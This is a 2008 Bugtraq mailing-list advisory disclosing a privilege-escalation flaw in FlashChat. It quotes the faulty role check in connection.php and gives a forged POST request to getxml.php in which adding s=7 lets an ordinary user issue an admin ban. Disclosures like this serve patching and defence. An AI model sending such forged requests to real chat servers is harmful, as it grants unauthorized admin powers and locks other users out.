bugtraq - flashchat severe bug

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Message-ID: <20081017144438.7383.qmail@securityfocus.com>
Date: 17 Oct 2008 14:44:38 -0000
From: ch0p83@...il.com
To: bugtraq@...urityfocus.com
Subject: flashchat severe bug

File: connection.php				

if( 
					ChatServer::userInRole($this->userid, ROLE_ADMIN) || 
					ChatServer::userInRole($this->userid, ROLE_MODERATOR) ||
					($req['s'] == 7) <-- *bypass line*
				  )

This piece of code allows a normal user to bypass role filtering and to be granted admin role as a normal user. To exploit the vulnerability simply send to getxml.php, while into the chat, this post data string (for example intercepting and modifying a legal message packet sent to the server with tamper data plugin of firefox):

for example to ban a user simply add the bypass to the normal ban string request:

replace:
//normal message sent to server thas has being intercepted
sendAndLoad=%5Btype%20Function%5D&t=hi everybody&r=0&id=

with:
//normal ban packet used by admins or mods
sendAndLoad=%5Btype%20Function%5D&t=&r=0&u=5581&b=3&c=banu&cid=1&id=

//forged packet send by attacker
sendAndLoad=%5Btype%20Function%5D&s=7&t=&r=0&u=5581&b=3&c=banu&cid=1&id=

*note the s=7 added

this will ip-ban user with id 5581 from chat.

eLiSiA - 17-10-2008